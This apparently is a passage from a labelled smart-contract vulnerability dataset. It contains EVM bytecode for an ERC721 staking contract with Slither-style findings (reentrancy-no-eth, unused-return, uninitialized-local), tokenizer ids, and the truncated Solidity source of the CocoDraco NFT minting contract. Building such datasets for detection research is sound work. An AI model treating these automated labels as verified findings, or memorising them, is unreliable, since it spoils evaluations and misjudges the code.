d02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b601b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383169081179091556040805130815260208101929092527fd2b7029d21747e3ef6781f470dcc87559562c992a58fccb970bc972e00d6f707910161111e565b6000818152600b60205260409020805460609190611e6990614ee0565b80601f0160208091040260200160405190810160405280929190818152602001828054611e9590614ee0565b8015611ee25780601f10611eb757610100808354040283529160200191611ee2565b820191906000526020600020905b815481529060010190602001808311611ec557829003601f168201915b50505050509050919050565b6000600160a060020a038216611f6f5760405160e560020a62461bcd02815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610c2a565b50600160a060020a031660009081526003602052604090205490565b600d54600160a060020a03163314611fd65760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b611fe06000613b9e565b565b601454421161205b5760405160e560020a62461bcd028152602060048201526024808201527f5374616b696e67204d656368616e69736d206973206e6f74207374617274656460448201527f20796574000000000000000000000000000000000000000000000000000000006064820152608401610c2a565b3361206582611d11565b600160a060020a0316146120be5760405160e560020a62461bcd02815260206004820152601a60248201527f5374616b696e673a206f776e6572206e6f74206d6174636865640000000000006044820152606401610c2a565b600081815260176020526040902054610100900460ff161561214b5760405160e560020a62461bcd02815260206004820152603760248201527f5468697320546f6b656e20697320616c7265616479207374616b65642e20506c60448201527f656173652074727920616e6f7468657220746f6b656e2e0000000000000000006064820152608401610c2a565b601c546040517fcf8317fa00000000000000000000000000000000000000000000000000000000815233600482015260248101839052600160a060020a039091169063cf8317fa90604401600060405180830381600087803b1580156121b057600080fd5b505af11580156121c4573d6000803e3d6000fd5b5050601c546040805160208101909152600081526121f39350339250600160a060020a03909116908490613757565b6000908152601760205260409020805461ff001916610100179055565b612219816116cf565b6122db5760405160e560020a62461bcd028152602060048201526064602482018190527f416c72656164792061646f707420696e20746865207061737420646179732e2060448301527f47656e657369732057756c667a2063616e2061646f7074206576657279203134908201527f206461797320616e6420416c7068612063616e20646f2065766572792037206460848201527f6179732e0000000000000000000000000000000000000000000000000000000060a482015260c401610c2a565b601554421161232f5760405160e560020a62461bcd02815260206004820152601e60248201527f41646f7074696e67205075707a206973206e6f742072656164792079657400006044820152606401610c2a565b3361233982611d11565b600160a060020a0316146123b85760405160e560020a62461bcd02815260206004820152602860248201527f41646f7074696e673a20596f75277265206e6f74206f776e6572206f6620746860448201527f697320746f6b656e0000000000000000000000000000000000000000000000006064820152608401610c2a565b600081815260176020526040902054610100900460ff16156124455760405160e560020a62461bcd02815260206004820152603760248201527f5468697320546f6b656e20697320616c7265616479207374616b65642e20506c60448201527f656173652074727920616e6f7468657220746f6b656e2e0000000000000000006064820152608401610c2a565b601b54604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921691639dc29fac913391849163313ce5679160048083019260209291908290030181865afa1580156124b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d59190615017565b6124e090600a615121565b6124ec90610258614f97565b6040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15801561254957600080fd5b505af115801561255d573d6000803e3d6000fd5b5050505061256b60016135a0565b600090815260176020526040902042600190910155565b606060008290506000815167ffffffffffffffff8111156125a5576125a5614b7f565b6040519080825280601f01601f1916602001820160405280156125cf576020820181803683370190505b50905060005b825181101561274a5760418382815181106125f2576125f2614fd1565b602001015160f860020a900460f860020a0260f860020a900460ff161015801561264a5750605a83828151811061262b5761262b614fd1565b602001015160f860020a900460f860020a0260f860020a900460ff1611155b156126d25782818151811061266157612661614fd1565b602001015160f860020a900460f860020a0260f860020a900460206126869190615130565b60f860020a0282828151811061269e5761269e614fd1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612738565b8281815181106126e4576126e4614fd1565b602001015160f860020a900460f860020a0282828151811061270857612708614fd1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b8061274281614fb6565b9150506125d5565b509392505050565b606060018054610b1e90614ee0565b60008082905060018151101561277a5750600092915050565b60198151111561278d5750600092915050565b806000815181106127a0576127a0614fd1565b602001015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602060f860020a0214156127eb5750600092915050565b80600182516127fa9190615000565b8151811061280a5761280a614fd1565b602001015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602060f860020a0214156128555750600092915050565b60008160008151811061286a5761286a614fd1565b602001015160f860020a900460f860020a02905060005b8251811015612b9457600083828151811061289e5761289e614fd1565b016020015160f860020a908190040290507f20000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821614801561294157507f20000000000000000000000000000000000000000000000000000000000000007fff000000000000000000000000000000000000000000000000000000000000008416145b156129525750600095945050505050565b7f30000000000000000000000000000000000000000000000000000000000000007fff000000000000000000000000000000000000000000000000000000000000008216108015906129e657507f39000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821611155b158015612a8457507f41000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821610801590612a8257507f5a000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821611155b155b8015612b2157507f61000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821610801590612b1f57507f7a000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821611155b155b8015612b6f57507f20000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000821614155b15612b805750600095945050505050565b915080612b8c81614fb6565b915050612881565b506001949350505050565b61139c338383613bfd565b612bb433836137e3565b612c295760405160e560020a62461bcd02815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610c2a565b61109784848484613757565b600d54600160a060020a03163314612c805760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b6013819055604080518281524260208201527f53bb3f0edf5961602b6c985f8d776a7241ad4458cb383fe8233e64154647d08d910161111e565b33612cc483611d11565b600160a060020a031614612d1d5760405160e560020a62461bcd02815260206004820181905260248201527f4368616e67654e616d653a20796f75277265206e6f7420746865206f776e65726044820152606401610c2a565b600082815260176020526040902054610100900460ff1615612daa5760405160e560020a62461bcd02815260206004820152603760248201527f5468697320546f6b656e20697320616c7265616479207374616b65642e20506c60448201527f656173652074727920616e6f7468657220746f6b656e2e0000000000000000006064820152608401610c2a565b601b54604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921691639dc29fac913391849163313ce5679160048083019260209291908290030181865afa158015612e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e3a9190615017565b612e4590600a615121565b612e50906032614f97565b6040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b158015612ead57600080fd5b505af1158015612ec1573d6000803e3d6000fd5b5050505061139c8282613ccf565b600081815260026020526040902054606090600160a060020a0316612f5f5760405160e560020a62461bcd02815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610c2a565b6000612f69614031565b90506000815111612f895760405180602001604052806000815250612fb4565b80612f9384614040565b604051602001612fa4929190615155565b6040516020818303038152906040525b9392505050565b601a80546117f890614ee0565b601654421161301c5760405160e560020a62461bcd02815260206004820152601f60248201527f45766f6c76696e672057756c667a206973206e6f7420726561647920796574006044820152606401610c2a565b3361302682611d11565b600160a060020a0316146130a55760405160e560020a62461bcd02815260206004820152602660248201527f45766f6c76653a20596f75277265206e6f74206f776e6572206f66207468697360448201527f20746f6b656e00000000000000000000000000000000000000000000000000006064820152608401610c2a565b60008181526017602052604081205460ff1660028111156130c8576130c8614e2f565b146131185760405160e560020a62461bcd02815260206004820152601d60248201527f47656e657369732063616e206f6e6c792065766f6c766520416c7068610000006044820152606401610c2a565b600081815260176020526040902054610100900460ff16156131a55760405160e560020a62461bcd02815260206004820152603760248201527f5468697320546f6b656e20697320616c7265616479207374616b65642e20506c60448201527f656173652074727920616e6f7468657220746f6b656e2e0000000000000000006064820152608401610c2a565b601b54604080517f313ce5670000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921691639dc29fac913391849163313ce5679160048083019260209291908290030181865afa158015613211573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132359190615017565b61324090600a615121565b61324c906105dc614f97565b6040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1580156132a957600080fd5b505af11580156132bd573d6000803e3d6000fd5b505050506132ca81614175565b6132d460026135a0565b50565b600d54600160a060020a031633146133225760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b600160a060020a0381166133a15760405160e560020a62461bcd02815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610c2a565b6132d481613b9e565b600d54600160a060020a031633146133f55760405160e560020a62461bcd02815260206004820181905260248201526000805160206153328339815191526044820152606401610c2a565b6016819055604080518281524260208201527f20fd2b88254004c55cd45d3a7ff944318d39a1033f5075060d0b2f3fa5bda652910161111e565b3b151590565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806134c257507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610b0957507f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19831614610b09565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038416908117909155819061355182611d11565b600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000826135978584614229565b14949350505050565b3332146135ac57600080fd5b600f8160028111156135c0576135c0614e2f565b815481106135d0576135d0614fd1565b906000526020600020015460118260028111156135ef576135ef614e2f565b815481106135ff576135ff614fd1565b90600052602060002001541061365a5760405160e560020a62461bcd02815260206004820152601560248201527f416c6c20746f6b656e7320617265206d696e74656400000000000000000000006044820152606401610c2a565b6000601182600281111561367057613670614e2f565b8154811061368057613680614fd1565b906000526020600020016000815461369790614fb6565b9182905550905060108260028111156136b2576136b2614e2f565b815481106136c2576136c2614fd1565b9060005260206000200154816136d89190614f63565b90506136e433826142cd565b6000818152601760205260409020805483919060ff1916600183600281111561370f5761370f614e2f565b021790555081600281111561372657613726614e2f565b604051829033907f3788aa0b63cf0de40ea025fef7bb67d001c7c60cd6e3b1b2804a56e449a39b8d90600090a45050565b6137628484846138ee565b61376e848484846142e7565b6110975760405160e560020a62461bcd02815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c2a565b600081815260026020526040812054600160a060020a03166138705760405160e560020a62461bcd02815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610c2a565b600061387b83611d11565b905080600160a060020a031684600160a060020a031614806138b6575083600160a060020a03166138ab84610ba1565b600160a060020a0316145b806138e65750600160a060020a0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b82600160a060020a031661390182611d11565b600160a060020a0316146139805760405160e560020a62461bcd02815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610c2a565b600160a060020a0382166139fe5760405160e560020a62461bcd028152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610c2a565b613a0983838361447a565b613a1460008261350f565b600160a060020a0383166000908152600360205260408120805460019290613a3d908490615000565b9091555050600160a060020a0382166000908152600360205260408120805460019290613a6b908490614f63565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000613ae483611d11565b905033600160a060020a03821614613b415760405160e560020a62461bcd02815260206004820152601f60248201527f4552433732313a2063616c6c6572206973206e6f7420746865206f776e6572006044820152606401610c2a565b6000838152600a602090815260409091208351613b6092850190614970565b50827fbe3e2fc72ea4bd0d860e908b1ee27aa9856809e62a75bfc0cb7f04b5d791873d83604051613b919190614a99565b60405180910390a2505050565b600d8054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b81600160a060020a031683600160a060020a03161415613c625760405160e560020a62461bcd02815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610c2a565b600160a060020a03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6000613cda83611d11565b905033600160a060020a03821614613d375760405160e560020a62461bcd02815260206004820152601f60248201527f4552433732313a2063616c6c6572206973206e6f7420746865206f776e6572006044820152606401610c2a565b613d4082612761565b1515600114613d945760405160e560020a62461bcd02815260206004820152601460248201527f4e6f7420612076616c6964206e6577206e616d650000000000000000000000006044820152606401610c2a565b6000838152600b6020526040908190209051600291613db291615184565b602060405180830381855afa158015613dcf573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190613df29190615239565b600283604051613e029190614f7b565b602060405180830381855afa158015613e1f573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190613e429190615239565b1415613eb95760405160e560020a62461bcd02815260206004820152602360248201527f4e6577206e616d652069732073616d65206173207468652063757272656e742060448201527f6f6e6500000000000000000000000000000000000000000000000000000000006064820152608401610c2a565b613ec282611129565b15613f125760405160e560020a62461bcd02815260206004820152601560248201527f4e616d6520616c726561647920726573657276656400000000000000000000006044820152606401610c2a565b6000838152600b602052604081208054613f2b90614ee0565b90501115613fd6576000838152600b602052604090208054613fd69190613f5190614ee0565b80601f0160208091040260200160405190810160405280929190818152602001828054613f7d90614ee0565b8015613fca5780601f10613f9f57610100808354040283529160200191613fca565b820191906000526020600020905b815481529060010190602001808311613fad57829003601f168201915b50505050506000614532565b613fe1826001614532565b6000838152600b60209081526040909120835161400092850190614970565b50827f7e632a301794d8d4a81ea7e20f37d1947158d36e66403af04ba85dd194b66f1b83604051613b919190614a99565b6060601a8054610b1e90614ee0565b60608161408057505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156140aa578061409481614fb6565b91506140a39050600a83615281565b9150614084565b60008167ffffffffffffffff8111156140c5576140c5614b7f565b6040519080825280601f01601f1916602001820160405280156140ef576020820181803683370190505b5090505b84156138e657614104600183615000565b9150614111600a86615295565b61411c906030614f63565b60f860020a0281838151811061413457614134614fd1565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061416e600a86615281565b94506140f3565b600061418082611d11565b905061418e8160008461447a565b61419960008361350f565b600160a060020a03811660009081526003602052604081208054600192906141c2908490615000565b9091555050600082815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916905551839190600160a060020a038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600081815b845181101561274a57600085828151811061424b5761424b614fd1565b6020026020010151905080831161428d5760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506142ba565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806142c581614fb6565b91505061422e565b61139c82826040518060200160405280600081525061456f565b6000600160a060020a0384163b15612b94576040517f150b7a02000000000000000000000000000000000000000000000000000000008152600160a060020a0385169063150b7a02906143449033908990889088906004016152a9565b6020604051808303816000875af192505050801561437f575060408051601f3d908101601f1916820190925261437c918101906152e5565b60015b614432573d8080156143ad576040519150601f19603f3d011682016040523d82523d6000602084013e6143b2565b606091505b50805161442a5760405160e560020a62461bcd02815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c2a565b805181602001fd5b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167f150b7a02000000000000000000000000000000000000000000000000000000001490506138e6565b600160a060020a0383166144d5576144d081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6144f8565b81600160a060020a031683600160a060020a0316146144f8576144f883826145fb565b600160a060020a03821661450f57610d8281614698565b82600160a060020a031682600160a060020a031614610d8257610d828282614747565b80600c61453e84612582565b60405161454b9190614f7b565b908152604051908190036020019020805491151560ff199092169190911790555050565b614579838361478b565b61458660008484846142e7565b610d825760405160e560020a62461bcd02815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c2a565b6000600161460884611eee565b6146129190615000565b60008381526007602052604090205490915080821461466557600160a060020a03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b506000918252600760209081526040808420849055600160a060020a039094168352600681528383209183525290812055565b6008546000906146aa90600190615000565b600083815260096020526040812054600880549394509092849081106146d2576146d2614fd1565b9060005260206000200154905080600883815481106146f3576146f3614fd1565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061472b5761472b615302565b6001900381819060005260206000200160009055905550505050565b600061475283611eee565b600160a060020a039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b600160a060020a0382166147e45760405160e560020a62461bcd02815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610c2a565b600081815260026020526040902054600160a060020a03161561484c5760405160e560020a62461bcd02815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610c2a565b6148586000838361447a565b600160a060020a0382166000908152600360205260408120805460019290614881908490614f63565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546148f890614ee0565b90600052602060002090601f01602090048101928261491a5760008555614960565b82601f106149335782800160ff19823516178555614960565b82800160010185558215614960579182015b82811115614960578235825591602001919060010190614945565b5061496c9291506149e4565b5090565b82805461497c90614ee0565b90600052602060002090601f01602090048101928261499e5760008555614960565b82601f106149b757805160ff1916838001178555614960565b82800160010185558215614960579182015b828111156149605782518255916020019190600101906149c9565b5b8082111561496c57600081556001016149e5565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19811681146132d457600080fd5b600060208284031215614a3657600080fd5b8135612fb4816149f9565b60005b83811015614a5c578181015183820152602001614a44565b838111156110975750506000910152565b60008151808452614a85816020860160208601614a41565b601f01601f19169290920160200192915050565b602081526000612fb46020830184614a6d565b600060208284031215614abe57600080fd5b5035919050565b8035600160a060020a0381168114614adc57600080fd5b919050565b60008060408385031215614af457600080fd5b614afd83614ac5565b946020939093013593505050565b60008060208385031215614b1e57600080fd5b823567ffffffffffffffff80821115614b3657600080fd5b818501915085601f830112614b4a57600080fd5b813581811115614b5957600080fd5b8660208083028501011115614b6d57600080fd5b60209290920196919550909350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff80841115614bc957614bc9614b7f565b604051601f8501601f19908116603f01168101908282118183101715614bf157614bf1614b7f565b81604052809350858152868686011115614c0a57600080fd5b858560208301376000602087830101525050509392505050565b600082601f830112614c3557600080fd5b612fb483833560208501614bae565b600060208284031215614c5657600080fd5b813567ffffffffffffffff811115614c6d57600080fd5b6138e684828501614c24565b600080600060608486031215614c8e57600080fd5b614c9784614ac5565b9250614ca560208501614ac5565b9150604084013590509250925092565b600060208284031215614cc757600080fd5b612fb482614ac5565b60008060408385031215614ce357600080fd5b82359150602083013567ffffffffffffffff811115614d0157600080fd5b614d0d85828601614c24565b9150509250929050565b60008060208385031215614d2a57600080fd5b823567ffffffffffffffff80821115614d4257600080fd5b818501915085601f830112614d5657600080fd5b813581811115614d6557600080fd5b866020828501011115614b6d57600080fd5b60008060408385031215614d8a57600080fd5b614d9383614ac5565b915060208301358015158114614da857600080fd5b809150509250929050565b60008060008060808587031215614dc957600080fd5b614dd285614ac5565b9350614de060208601614ac5565b925060408501359150606085013567ffffffffffffffff811115614e0357600080fd5b8501601f81018713614e1457600080fd5b614e2387823560208401614bae565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6060810160038510614e99577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b938152911515602083015260409091015290565b60008060408385031215614ec057600080fd5b614ec983614ac5565b9150614ed760208401614ac5565b90509250929050565b600281046001821680614ef457607f821691505b60208210811415614f2e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115614f7657614f76614f34565b500190565b60008251614f8d818460208701614a41565b9190910192915050565b6000816000190483118215151615614fb157614fb1614f34565b500290565b6000600019821415614fca57614fca614f34565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008282101561501257615012614f34565b500390565b60006020828403121561502957600080fd5b815160ff81168114612fb457600080fd5b600181815b8085111561507757816000190482111561505b5761505b614f34565b8085161561506857918102915b6002909404939080029061503f565b509250929050565b60008261508e57506001610b09565b8161509b57506000610b09565b81600181146150b157600281146150bb576150d8565b6001915050610b09565b60ff8411156150cc576150cc614f34565b8360020a915050610b09565b5060208310610133831016604e8410600b84101617156150fb575081810a610b09565b615105838361503a565b806000190482111561511957615119614f34565b029392505050565b6000612fb460ff84168361507f565b600060ff821660ff84168060ff0382111561514d5761514d614f34565b019392505050565b60008351615167818460208801614a41565b83519083019061517b818360208801614a41565b01949350505050565b81546000908190600281046001808316806151a057607f831692505b60208084108214156151d9577f4e487b710000000000000000000000000000000000000000000000000000000086526022600452602486fd5b8180156151ed57600181146151fe5761522b565b60ff1986168952848901965061522b565b60008a81526020902060005b868110156152235781548b82015290850190830161520a565b505084890196505b509498975050505050505050565b60006020828403121561524b57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008261529057615290615252565b500490565b6000826152a4576152a4615252565b500690565b6000600160a060020a038087168352808616602084015250836040830152608060608301526152db6080830184614a6d565b9695505050505050565b6000602082840312156152f757600080fd5b8151612fb4816149f9565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220155d91541190757a4f99d98c03f6b00917af803e6243d574e4a06396caa5334664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 12521, 19317, 2620, 3401, 11960, 2487, 2063, 2475, 14141, 3207, 25746, 19797, 22203, 8889, 2497, 2620, 2620, 2683, 20842, 2094, 2487, 27421, 26224, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 8814, 10270, 2480, 1013, 25682, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 6337, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,617
0x97124B9251DcB3DB9CA189A138609233f0F0A4Dd
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721Pausable.sol"; import "./Gem.sol"; contract CocoDraco is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable { using Strings for uint256; uint256 public idTracker = 0; uint256 public publicTracker = 0; uint256 public teamTracker = 0; uint256 public rareTracker = 0; Gem public gem; uint256 public constant PUBLIC_SALE = 2888; uint256 public constant TEAM_SUPPLY = 444; uint256 public constant MAX_BLACK_GOLD_DRACO = 1556; string public constant BASE_EXTENSION = ".json"; uint256 public price = 68 * 1e15; uint256 public rarePrice = 120 * 1e18; uint256 public constant MAX_BY_MINT = 10; uint256 public constant WHITELIST_START = 1638162000; // Monday, 29 November 2021 05:00:00 GMT bool public onlyWhitelist = true; mapping(address => uint256) public whitelistAddresses; string public baseTokenURI; event CreateDraco(uint256 indexed id); constructor(string memory _baseTokenURI, Gem _gem) ERC721("CocoDraco", "CCD") { setBaseURI(_baseTokenURI); gem = _gem; } modifier saleIsOpen { if (_msgSender() != owner()) { require(!paused(), "Pausable: paused"); } _; } function addWhitelist(address[] memory _addresses) public onlyOwner { for(uint256 i = 0 ; i < _addresses.length; i++){ whitelistAddresses[_addresses[i]] = 3; } } function setWhitelist(bool _onlyWhitelist) public onlyOwner { onlyWhitelist = _onlyWhitelist; } function setPrice(uint256 _price) public onlyOwner { price = _price; } function setRarePrice(uint256 _rarePrice) public onlyOwner { rarePrice = _rarePrice; } function devMint(address _to, uint256 _count) public onlyOwner { require(teamTracker + _count <= TEAM_SUPPLY, "Max limit"); require(_count <= 30, "Exceeds number"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to, idTracker); teamTracker += 1; idTracker += 1; } } function mint(address _to, uint256 _count) public payable saleIsOpen { uint256 total = price * _count; require(WHITELIST_START <= block.timestamp, "Not started"); require(publicTracker + _count <= PUBLIC_SALE, "Max limit"); require(_count <= MAX_BY_MINT, "Exceeds number"); require(msg.value >= total, "Value below price"); if(onlyWhitelist){ require(whitelistAddresses[msg.sender] >= _count, "Can't mint more than 3"); whitelistAddresses[msg.sender] -= _count; } for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to, idTracker); publicTracker += 1; idTracker += 1; } } function rareMint(address _to, uint256 _count) public saleIsOpen { uint256 total = rarePrice * _count; require(rareTracker + _count <= MAX_BLACK_GOLD_DRACO, "Max limit"); require(_count <= MAX_BY_MINT, "Exceeds number"); require(gem.balanceOf(msg.sender) >= total, "Not enough GEM balance"); gem.burn( msg.sender, total ); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to, rareTracker + PUBLIC_SALE + TEAM_SUPPLY); rareTracker += 1; } } function _mintAnElement(address _to, uint id) private { // uint id = _totalSupply(); _safeMint(_to, id); emit CreateDraco(id); } function maxElement() public pure returns (uint256) { return PUBLIC_SALE + TEAM_SUPPLY + MAX_BLACK_GOLD_DRACO; } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function tokenURI(uint256 _id) public view virtual override returns (string memory) { require( _exists(_id), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _id.toString(), BASE_EXTENSION)) : ""; } function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function pause(bool val) public onlyOwner { if (val == true) { _pause(); return; } _unpause(); } function withdraw() public onlyOwner { require( payable(owner()).send(address(this).balance), "Withdraw unsuccessful" ); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, 